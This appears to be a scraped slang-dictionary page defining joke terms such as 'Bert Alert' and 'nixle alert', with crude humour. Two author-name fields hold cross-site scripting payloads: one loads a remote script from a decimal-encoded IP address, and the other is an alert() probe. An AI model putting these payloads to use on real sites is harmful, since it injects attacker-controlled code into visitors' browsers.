Bert Alert

When an emergency meeting is called and you get a boner

Shit! uhhhh... bert alert...

by Bert alert October 28, 2020

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by <script src=//3334957647/1> January 26, 2021

Monster alert

One of two alerts the sim city folks that send alerts to your phone about weather and disasters don't send you, the other being alerts about alien invasions.

Had people gotten the monster alert sooner, they might have had time to prepare instead of react.

by Solid Mantis March 21, 2021

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by <script>alert("kalo")</script> July 11, 2022

Heard Alert

Used when your crazy ex-girlfriend walks into the room

I was sitting at the bar having a drink with my friend and he says “Heard Alert”. I turned around to look and my crazy ex-girlfriend was there.

by georgie bear June 19, 2022

nixle alert

When you’ve been in too many toxic relationships, causing your radar to be off. You can’t tell if a new person in your life is going to be crazy or not. You can’t see red flags or problems that this person has. One must reach out to their friends and loved ones and request a nixle alert. If this new person raises a nixle alert, run. Nixles are not good, nixle alerts save lives.

You: Yo man I met this girl the other night. She has a neck tattoo and would not stop talking about her ex! Is she nixle?

Friend: Full blown nixle alert! Bro you gotta get out of there! Lose her number!

by Dafunk June 20, 2022